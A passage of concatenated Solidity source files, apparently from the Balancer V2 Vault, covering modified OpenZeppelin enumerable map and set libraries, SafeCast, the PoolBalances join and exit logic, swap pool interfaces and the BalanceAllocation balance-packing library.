return 0;
} else {
return 1 + (a - 1) / b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// Based on the EnumerableMap library from OpenZeppelin contracts, altered to include the following:
// * a map from IERC20 to bytes32
// * entries are stored in mappings instead of arrays, reducing implicit storage reads for out-of-bounds checks
// * unchecked_at and unchecked_valueAt, which allow for more gas efficient data reads in some scenarios
// * unchecked_indexOf and unchecked_setAt, which allow for more gas efficient data writes in some scenarios
//
// Additionally, the base private functions that work on bytes32 were removed and replaced with a native implementation
// for IERC20 keys, to reduce bytecode size and runtime costs.
// We're using non-standard casing for the unchecked functions to differentiate them, so we need to turn off that rule
// solhint-disable func-name-mixedcase
import "./IERC20.sol";
import "../helpers/BalancerErrors.sol";
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*/
library EnumerableMap {
// The original OpenZeppelin implementation uses a generic Map type with bytes32 keys: this was replaced with
// IERC20ToBytes32Map, which uses IERC20 keys natively, resulting in more dense bytecode.
struct IERC20ToBytes32MapEntry {
IERC20 _key;
bytes32 _value;
}
struct IERC20ToBytes32Map {
// Number of entries in the map
uint256 _length;
// Storage of map keys and values
mapping(uint256 => IERC20ToBytes32MapEntry) _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping(IERC20 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(
IERC20ToBytes32Map storage map,
IERC20 key,
bytes32 value
) internal returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
// Equivalent to !contains(map, key)
if (keyIndex == 0) {
uint256 previousLength = map._length;
map._entries[previousLength] = IERC20ToBytes32MapEntry({ _key: key, _value: value });
map._length = previousLength + 1;
// The entry is stored at previousLength, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = previousLength + 1;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Updates the value for an entry, given its key's index. The key index can be retrieved via
* {unchecked_indexOf}, and it should be noted that key indices may change when calling {set} or {remove}. O(1).
*
* This function performs one less storage read than {set}, but it should only be used when `index` is known to be
* within bounds.
*/
function unchecked_setAt(
IERC20ToBytes32Map storage map,
uint256 index,
bytes32 value
) internal {
map._entries[index]._value = value;
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(IERC20ToBytes32Map storage map, IERC20 key) internal returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
// Equivalent to contains(map, key)
if (keyIndex != 0) {
// To delete a key-value pair from the _entries pseudo-array in O(1), we swap the entry to delete with the
// one at the highest index, and then remove this last entry (sometimes called as 'swap and pop').
// This modifies the order of the pseudo-array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
IERC20ToBytes32MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
delete map._entries[lastIndex];
map._length = lastIndex;
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(IERC20ToBytes32Map storage map, IERC20 key) internal view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function length(IERC20ToBytes32Map storage map) internal view returns (uint256) {
return map._length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(IERC20ToBytes32Map storage map, uint256 index) internal view returns (IERC20, bytes32) {
_require(map._length > index, Errors.OUT_OF_BOUNDS);
return unchecked_at(map, index);
}
/**
* @dev Same as {at}, except this doesn't revert if `index` it outside of the map (i.e. if it is equal or larger
* than {length}). O(1).
*
* This function performs one less storage read than {at}, but should only be used when `index` is known to be
* within bounds.
*/
function unchecked_at(IERC20ToBytes32Map storage map, uint256 index) internal view returns (IERC20, bytes32) {
IERC20ToBytes32MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Same as {unchecked_At}, except it only returns the value and not the key (performing one less storage
* read). O(1).
*/
function unchecked_valueAt(IERC20ToBytes32Map storage map, uint256 index) internal view returns (bytes32) {
return map._entries[index]._value;
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map. Reverts with `errorCode` otherwise.
*/
function get(
IERC20ToBytes32Map storage map,
IERC20 key,
uint256 errorCode
) internal view returns (bytes32) {
uint256 index = map._indexes[key];
_require(index > 0, errorCode);
return unchecked_valueAt(map, index - 1);
}
/**
* @dev Returns the index for `key` **plus one**. Does not revert if the key is not in the map, and returns 0
* instead.
*/
function unchecked_indexOf(IERC20ToBytes32Map storage map, IERC20 key) internal view returns (uint256) {
return map._indexes[key];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
// Based on the EnumerableSet library from OpenZeppelin contracts, altered to remove the base private functions that
// work on bytes32, replacing them with a native implementation for address values, to reduce bytecode size and runtime
// costs.
// The `unchecked_at` function was also added, which allows for more gas efficient data reads in some scenarios.
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// The original OpenZeppelin implementation uses a generic Set type with bytes32 values: this was replaced with
// AddressSet, which uses address keys natively, resulting in more dense bytecode.
struct AddressSet {
// Storage of set values
address[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(address => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
if (!contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
address lastValue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastValue;
// Update the index for the moved value
set._indexes[lastValue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
_require(set._values.length > index, Errors.OUT_OF_BOUNDS);
return unchecked_at(set, index);
}
/**
* @dev Same as {at}, except this doesn't revert if `index` it outside of the set (i.e. if it is equal or larger
* than {length}). O(1).
*
* This function performs one less storage read than {at}, but should only be used when `index` is known to be
* within bounds.
*/
function unchecked_at(AddressSet storage set, uint256 index) internal view returns (address) {
return set._values[index];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
_require(value < 2**255, Errors.SAFE_CAST_VALUE_CANT_FIT_INT256);
return int256(value);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/math/Math.sol";
import "../lib/helpers/BalancerErrors.sol";
import "../lib/helpers/InputHelpers.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./Fees.sol";
import "./PoolTokens.sol";
import "./UserBalance.sol";
import "./interfaces/IBasePool.sol";
/**
* @dev Stores the Asset Managers (by Pool and token), and implements the top level Asset Manager and Pool interfaces,
* such as registering and deregistering tokens, joining and exiting Pools, and informational functions like `getPool`
* and `getPoolTokens`, delegating to specialization-specific functions as needed.
*
* `managePoolBalance` handles all Asset Manager interactions.
*/
abstract contract PoolBalances is Fees, ReentrancyGuard, PoolTokens, UserBalance {
using Math for uint256;
using SafeERC20 for IERC20;
using BalanceAllocation for bytes32;
using BalanceAllocation for bytes32[];
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable override whenNotPaused {
// This function doesn't have the nonReentrant modifier: it is applied to `_joinOrExit` instead.
// Note that `recipient` is not actually payable in the context of a join - we cast it because we handle both
// joins and exits at once.
_joinOrExit(PoolBalanceChangeKind.JOIN, poolId, sender, payable(recipient), _toPoolBalanceChange(request));
}
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external override {
// This function doesn't have the nonReentrant modifier: it is applied to `_joinOrExit` instead.
_joinOrExit(PoolBalanceChangeKind.EXIT, poolId, sender, recipient, _toPoolBalanceChange(request));
}
// This has the exact same layout as JoinPoolRequest and ExitPoolRequest, except the `maxAmountsIn` and
// `minAmountsOut` are called `limits`. Internally we use this struct for both since these two functions are quite
// similar, but expose the others to callers for clarity.
struct PoolBalanceChange {
IAsset[] assets;
uint256[] limits;
bytes userData;
bool useInternalBalance;
}
/**
* @dev Converts a JoinPoolRequest into a PoolBalanceChange, with no runtime cost.
*/
function _toPoolBalanceChange(JoinPoolRequest memory request)
private
pure
returns (PoolBalanceChange memory change)
{
// solhint-disable-next-line no-inline-assembly
assembly {
change := request
}
}
/**
* @dev Converts an ExitPoolRequest into a PoolBalanceChange, with no runtime cost.
*/
function _toPoolBalanceChange(ExitPoolRequest memory request)
private
pure
returns (PoolBalanceChange memory change)
{
// solhint-disable-next-line no-inline-assembly
assembly {
change := request
}
}
/**
* @dev Implements both `joinPool` and `exitPool`, based on `kind`.
*/
function _joinOrExit(
PoolBalanceChangeKind kind,
bytes32 poolId,
address sender,
address payable recipient,
PoolBalanceChange memory change
) private nonReentrant withRegisteredPool(poolId) authenticateFor(sender) {
// This function uses a large number of stack variables (poolId, sender and recipient, balances, amounts, fees,
// etc.), which leads to 'stack too deep' issues. It relies on private functions with seemingly arbitrary
// interfaces to work around this limitation.
InputHelpers.ensureInputLengthMatch(change.assets.length, change.limits.length);
// We first check that the caller passed the Pool's registered tokens in the correct order, and retrieve the
// current balance for each.
IERC20[] memory tokens = _translateToIERC20(change.assets);
bytes32[] memory balances = _validateTokensAndGetBalances(poolId, tokens);
// The bulk of the work is done here: the corresponding Pool hook is called, its final balances are computed,
// assets are transferred, and fees are paid.
(
bytes32[] memory finalBalances,
uint256[] memory amountsInOrOut,
uint256[] memory paidProtocolSwapFeeAmounts
) = _callPoolBalanceChange(kind, poolId, sender, recipient, change, balances);
// All that remains is storing the new Pool balances.
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
_setTwoTokenPoolCashBalances(poolId, tokens[0], finalBalances[0], tokens[1], finalBalances[1]);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
_setMinimalSwapInfoPoolBalances(poolId, tokens, finalBalances);
} else {
// PoolSpecialization.GENERAL
_setGeneralPoolBalances(poolId, finalBalances);
}
bool positive = kind == PoolBalanceChangeKind.JOIN; // Amounts in are positive, out are negative
emit PoolBalanceChanged(
poolId,
sender,
tokens,
// We can unsafely cast to int256 because balances are actually stored as uint112
_unsafeCastToInt256(amountsInOrOut, positive),
paidProtocolSwapFeeAmounts
);
}
/**
* @dev Calls the corresponding Pool hook to get the amounts in/out plus protocol fee amounts, and performs the
* associated token transfers and fee payments, returning the Pool's final balances.
*/
function _callPoolBalanceChange(
PoolBalanceChangeKind kind,
bytes32 poolId,
address sender,
address payable recipient,
PoolBalanceChange memory change,
bytes32[] memory balances
)
private
returns (
bytes32[] memory finalBalances,
uint256[] memory amountsInOrOut,
uint256[] memory dueProtocolFeeAmounts
)
{
(uint256[] memory totalBalances, uint256 lastChangeBlock) = balances.totalsAndLastChangeBlock();
IBasePool pool = IBasePool(_getPoolAddress(poolId));
(amountsInOrOut, dueProtocolFeeAmounts) = kind == PoolBalanceChangeKind.JOIN
? pool.onJoinPool(
poolId,
sender,
recipient,
totalBalances,
lastChangeBlock,
_getProtocolSwapFeePercentage(),
change.userData
)
: pool.onExitPool(
poolId,
sender,
recipient,
totalBalances,
lastChangeBlock,
_getProtocolSwapFeePercentage(),
change.userData
);
InputHelpers.ensureInputLengthMatch(balances.length, amountsInOrOut.length, dueProtocolFeeAmounts.length);
// The Vault ignores the `recipient` in joins and the `sender` in exits: it is up to the Pool to keep track of
// their participation.
finalBalances = kind == PoolBalanceChangeKind.JOIN
? _processJoinPoolTransfers(sender, change, balances, amountsInOrOut, dueProtocolFeeAmounts)
: _processExitPoolTransfers(recipient, change, balances, amountsInOrOut, dueProtocolFeeAmounts);
}
/**
* @dev Transfers `amountsIn` from `sender`, checking that they are within their accepted limits, and pays
* accumulated protocol swap fees.
*
* Returns the Pool's final balances, which are the current balances plus `amountsIn` minus accumulated protocol
* swap fees.
*/
function _processJoinPoolTransfers(
address sender,
PoolBalanceChange memory change,
bytes32[] memory balances,
uint256[] memory amountsIn,
uint256[] memory dueProtocolFeeAmounts
) private returns (bytes32[] memory finalBalances) {
// We need to track how much of the received ETH was used and wrapped into WETH to return any excess.
uint256 wrappedEth = 0;
finalBalances = new bytes32[](balances.length);
for (uint256 i = 0; i < change.assets.length; ++i) {
uint256 amountIn = amountsIn[i];
_require(amountIn <= change.limits[i], Errors.JOIN_ABOVE_MAX);
// Receive assets from the sender - possibly from Internal Balance.
IAsset asset = change.assets[i];
_receiveAsset(asset, amountIn, sender, change.useInternalBalance);
if (_isETH(asset)) {
wrappedEth = wrappedEth.add(amountIn);
}
uint256 feeAmount = dueProtocolFeeAmounts[i];
_payFeeAmount(_translateToIERC20(asset), feeAmount);
// Compute the new Pool balances. Note that the fee amount might be larger than `amountIn`,
// resulting in an overall decrease of the Pool's balance for a token.
finalBalances[i] = (amountIn >= feeAmount) // This lets us skip checked arithmetic
? balances[i].increaseCash(amountIn - feeAmount)
: balances[i].decreaseCash(feeAmount - amountIn);
}
// Handle any used and remaining ETH.
_handleRemainingEth(wrappedEth);
}
/**
* @dev Transfers `amountsOut` to `recipient`, checking that they are within their accepted limits, and pays
* accumulated protocol swap fees from the Pool.
*
* Returns the Pool's final balances, which are the current `balances` minus `amountsOut` and fees paid
* (`dueProtocolFeeAmounts`).
*/
function _processExitPoolTransfers(
address payable recipient,
PoolBalanceChange memory change,
bytes32[] memory balances,
uint256[] memory amountsOut,
uint256[] memory dueProtocolFeeAmounts
) private returns (bytes32[] memory finalBalances) {
finalBalances = new bytes32[](balances.length);
for (uint256 i = 0; i < change.assets.length; ++i) {
uint256 amountOut = amountsOut[i];
_require(amountOut >= change.limits[i], Errors.EXIT_BELOW_MIN);
// Send tokens to the recipient - possibly to Internal Balance
IAsset asset = change.assets[i];
_sendAsset(asset, amountOut, recipient, change.useInternalBalance);
uint256 feeAmount = dueProtocolFeeAmounts[i];
_payFeeAmount(_translateToIERC20(asset), feeAmount);
// Compute the new Pool balances. A Pool's token balance always decreases after an exit (potentially by 0).
finalBalances[i] = balances[i].decreaseCash(amountOut.add(feeAmount));
}
}
/**
* @dev Returns the total balance for `poolId`'s `expectedTokens`.
*
* `expectedTokens` must exactly equal the token array returned by `getPoolTokens`: both arrays must have the same
* length, elements and order. Additionally, the Pool must have at least one registered token.
*/
function _validateTokensAndGetBalances(bytes32 poolId, IERC20[] memory expectedTokens)
private
view
returns (bytes32[] memory)
{
(IERC20[] memory actualTokens, bytes32[] memory balances) = _getPoolTokens(poolId);
InputHelpers.ensureInputLengthMatch(actualTokens.length, expectedTokens.length);
_require(actualTokens.length > 0, Errors.POOL_NO_TOKENS);
for (uint256 i = 0; i < actualTokens.length; ++i) {
_require(actualTokens[i] == expectedTokens[i], Errors.TOKENS_MISMATCH);
}
return balances;
}
/**
* @dev Casts an array of uint256 to int256, setting the sign of the result according to the `positive` flag,
* without checking whether the values fit in the signed 256 bit range.
*/
function _unsafeCastToInt256(uint256[] memory values, bool positive)
private
pure
returns (int256[] memory signedValues)
{
signedValues = new int256[](values.length);
for (uint256 i = 0; i < values.length; i++) {
signedValues[i] = positive ? int256(values[i]) : -int256(values[i]);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../../lib/openzeppelin/IERC20.sol";
import "./IVault.sol";
interface IPoolSwapStructs {
// This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and
// IMinimalSwapInfoPool.
//
// This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or
// 'given out') which indicates whether or not the amount sent by the pool is known.
//
// The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take
// in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`.
//
// All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in
// some Pools.
//
// `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than
// one Pool.
//
// The meaning of `lastChangeBlock` depends on the Pool specialization:
// - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total
// balance.
// - General: the last block in which *any* of the Pool's registered tokens changed its total balance.
//
// `from` is the origin address for the funds the Pool receives, and `to` is the destination address
// where the Pool sends the outgoing tokens.
//
// `userData` is extra data provided by the caller - typically a signature from a trusted party.
struct SwapRequest {
IVault.SwapKind kind;
IERC20 tokenIn;
IERC20 tokenOut;
uint256 amount;
// Misc data
bytes32 poolId;
uint256 lastChangeBlock;
address from;
address to;
bytes userData;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IBasePool.sol";
/**
* @dev IPools with the General specialization setting should implement this interface.
*
* This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool.
* Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will
* grant to the pool in a 'given out' swap.
*
* This can often be implemented by a `view` function, since many pricing algorithms don't need to track state
* changes in swaps. However, contracts implementing this in non-view functions should check that the caller is
* indeed the Vault.
*/
interface IGeneralPool is IBasePool {
function onSwap(
SwapRequest memory swapRequest,
uint256[] memory balances,
uint256 indexIn,
uint256 indexOut
) external returns (uint256 amount);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IBasePool.sol";
/**
* @dev Pool contracts with the MinimalSwapInfo or TwoToken specialization settings should implement this interface.
*
* This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool.
* Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will grant
* to the pool in a 'given out' swap.
*
* This can often be implemented by a `view` function, since many pricing algorithms don't need to track state
* changes in swaps. However, contracts implementing this in non-view functions should check that the caller is
* indeed the Vault.
*/
interface IMinimalSwapInfoPool is IBasePool {
function onSwap(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) external returns (uint256 amount);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../../lib/math/Math.sol";
// This library is used to create a data structure that represents a token's balance for a Pool. 'cash' is how many
// tokens the Pool has sitting inside of the Vault. 'managed' is how many tokens were withdrawn from the Vault by the
// Pool's Asset Manager. 'total' is the sum of these two, and represents the Pool's total token balance, including
// tokens that are *not* inside of the Vault.
//
// 'cash' is updated whenever tokens enter and exit the Vault, while 'managed' is only updated if the reason tokens are
// moving is due to an Asset Manager action. This is reflected in the different methods available: 'increaseCash'
// and 'decreaseCash' for swaps and add/remove liquidity events, and 'cashToManaged' and 'managedToCash' for events
// transferring funds to and from the Asset Manager.
//
// The Vault disallows the Pool's 'cash' from becoming negative. In other words, it can never use any tokens that are
// not inside the Vault.
//
// One of the goals of this library is to store the entire token balance in a single storage slot, which is why we use
// 112 bit unsigned integers for 'cash' and 'managed'. For consistency, we also disallow any combination of 'cash' and
// 'managed' that yields a 'total' that doesn't fit in 112 bits.
//
// The remaining 32 bits of the slot are used to store the most recent block when the total balance changed. This
// can be used to implement price oracles that are resilient to 'sandwich' attacks.
//
// We could use a Solidity struct to pack these three values together in a single storage slot, but unfortunately
// Solidity only allows for structs to live in either storage, calldata or memory. Because a memory struct still takes
// up a slot in the stack (to store its memory location), and because the entire balance fits in a single stack slot
// (two 112 bit values plus the 32 bit block), using memory is strictly less gas performant. Therefore, we do manual
// packing and unpacking.
//
// Since we cannot define new types, we rely on bytes32 to represent these values instead, as it doesn't have any
// associated arithmetic operations and therefore reduces the chance of misuse.
library BalanceAllocation {
using Math for uint256;
// The 'cash' portion of the balance is stored in the least significant 112 bits of a 256 bit word, while the
// 'managed' part uses the following 112 bits. The most significant 32 bits are used to store the block
/**
* @dev Returns the total amount of Pool tokens, including those that are not currently in the Vault ('managed').
*/
function total(bytes32 balance) internal pure returns (uint256) {
// Since 'cash' and 'managed' are 112 bit values, we don't need checked arithmetic. Additionally, `toBalance`
// ensures that 'total' always fits in 112 bits.
return cash(balance) + managed(balance);
}
/**
* @dev Returns the amount of Pool tokens currently in the Vault.
*/
function cash(bytes32 balance) internal pure returns (uint256) {
uint256 mask = 2**(112) - 1;
return uint256(balance) & mask;
}
/**
* @dev Returns the amount of Pool tokens that are being managed by an Asset Manager.
*/
function managed(bytes32 balance) internal pure returns (uint256) {
uint256 mask = 2**(112) - 1;
return uint256(balance >> 112) & mask;
}
/**
* @dev Returns the last block when the total balance changed.
*/
function lastChangeBlock(bytes32 balance) internal pure returns (uint256) {
uint256 mask = 2**(32) - 1;
return uint256(balance >> 224) & mask;
}
/**
* @dev Returns the difference in 'managed' between two balances.
*/
function managedDelta(bytes32 newBalance, bytes32 oldBalance) internal pure returns (int256) {
// Because `managed` is a 112 bit value, we can safely perform unchecked arithmetic in 256 bits.
return int256(managed(newBalance)) - int256(managed(oldBalance));
}
/**
* @dev Returns the total balance for each entry in `balances`, as well as the latest block when the total
* balance of *any* of them last changed.
*/
function totalsAndLastChangeBlock(bytes32[] memory balances)
internal
pure
returns (
uint256[] memory results,
uint256 lastChangeBlock_ // Avoid shadowing
)
{
results = new uint256[](balances.length);
lastChangeBlock_ = 0;
for (uint256 i = 0; i < results.length; i++) {
bytes32 balance = balances[i];
results[i] = total(balance);
lastChangeBlock_ = Math.max(lastChangeBlock_, lastChangeBlock(balance));
}
}
/**
* @dev Returns true if `balance`'s 'total' balance is zero. Costs less gas than computing 'total' and comparing
* with zero.
*/
function isZero(bytes32 balance) internal pure returns (bool) {
// We simply need to check the least significant 224 bytes of the word: the block does not affect this.
uint256 mask = 2**(224) - 1;
return (uint256(balance) & mask) == 0;
}
/**
* @dev Returns true if `balance`'s 'total' balance is not zero. Costs less gas than computing 'total' and comparing
* with zero.
*/
function isNotZero(bytes32 balance) internal pure returns (bool) {
return !isZero(balance);
}
/**
* @dev Packs together `cash` and `managed` amounts with a block to create a balance value.
*
* For consistency, this also checks that the sum of `cash` and `managed` (`total`) fits in 112 bits.
*/
function toBalance(
uint256 _cash,
uint256 _managed,
uint256 _blockNumber
) internal pure returns (bytes32) {
uint256 _total = _cash + _managed;
// Since both 'cash' and 'managed' are positive integers, by checking that their sum ('total') fits in 112 bits
// we are also indirectly checking that both 'cash' and 'managed' themselves fit in 112 bits.
_require(_total >= _cash && _total < 2**112, Errors.BALANCE_TOTAL_OVERFLOW);
// We assume the block fits in 32 bits - this is expected to hold for at least a few decades.
return _pack(_cash, _managed, _blockNumber);
}
/**
* @dev Increases a Pool's 'cash' (and therefore its 'total'). Called when Pool tokens are sent to the Vault (except
* for Asset Manager deposits).
*
* Updates the last total balance change block, even if `amount` is zero.
*/
function increaseCash(bytes32 balance, uint256 amount) internal view returns (bytes32) {
uint256 newCash = cash(balance).add(amount);
uint256 currentManaged = managed(balance);
uint256 newLastChangeBlock = block.number;
return toBalance(newCash, currentManaged, newLastChangeBlock);
}
/**
* @dev Decreases a Pool's 'cash' (and therefore its 'total'). Called when Pool tokens are sent from the Vault
* (except for Asset Manager withdrawals).
*
* Updates the last total balance change block, even if `amount` is zero.
*/
function decreaseCash(bytes32 balance, uint256 amount) internal view returns (bytes32) {
uint256 newCash = cash(balance).sub(amount);
uint256 currentManaged = managed(balance);
uint256 newLastChangeBlock = block.number;
return toBalance(newCash, currentManaged, newLastChangeBlock);
}
/**
* @dev Moves 'cash' into 'managed', leaving 'total' unchanged. Called when an Asset Manager withdraws Pool tokens
* from the Vault.
*/
function cashToManaged(bytes32 balance, uint256 amount) internal pure returns (bytes32) {
uint256 newCash = cash(balance).sub(amount);
uint256 newManaged = managed(balance).add(amount);
uint256 currentLastChangeBlock = lastChangeBlock(balance);
return toBalance(newCash, newManaged, currentLastChangeBlock);
